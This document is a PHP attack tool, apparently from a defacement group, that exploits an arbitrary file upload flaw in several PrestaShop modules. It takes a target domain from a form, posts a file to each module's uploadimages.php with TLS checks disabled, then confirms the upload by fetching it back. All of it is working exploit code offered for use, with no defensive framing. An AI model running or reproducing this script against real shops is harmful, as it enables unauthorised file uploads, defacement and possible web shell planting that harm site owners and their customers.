Prestashop Arbitary File Upload

<?php
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
/*
Name app : Prestashop Arbitary File Upload
Author / Editor Script : AZZATSSINS CYBERSERKERS
Email : [email protected]
*/
echo"<title>Prestashop Arbitary File Upload</title><center>
<body bgcolor=silver><u><i><b><h1>&copy; AZZATSSINS CYBERSERKERS</h1>
</b></i></u><br>
    <form method='post'>
    Domain: <br>
    <textarea placeholder='http://www.target.com/' name='url' style='width: 500px; height: 20px;'></textarea><br>
    <input type='submit' name='azzatssins' value='Fuck it!'>
    </form><br>";
    if($_POST['azzatssins']) {
$site = $_POST['url'];
$file = "ac.html";
echo "<br><u><b>Target : ".$site."</b></u><br>";
$expl = array("/modules/simpleslideshow/","/modules/productpageadverts/","/modules/homepageadvertise/","/modules/columnadverts/","/modules/vtemslideshow/");
foreach($expl as $exploit){
$post = array("userfile" => "@$file",
);
$azzatssins = $site.$exploit."/uploadimages.php";
$ch2 = curl_init ($azzatssins);
curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch2, CURLOPT_POST, 1);
curl_setopt ($ch2, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch2);
$cyberserkers = $site.$exploit."/file_uploads/".$file;
$azzatssinscyberserkers = @file_get_contents($cyberserkers);
            if(preg_match('#AZZATSSINS#i',$azzatssinscyberserkers)){
            echo "<br> [#]Exploit Success :) <br>[#] ".$cyberserkers."<br><hr><br>";
            }else{
                echo "<br>";}
} }
?>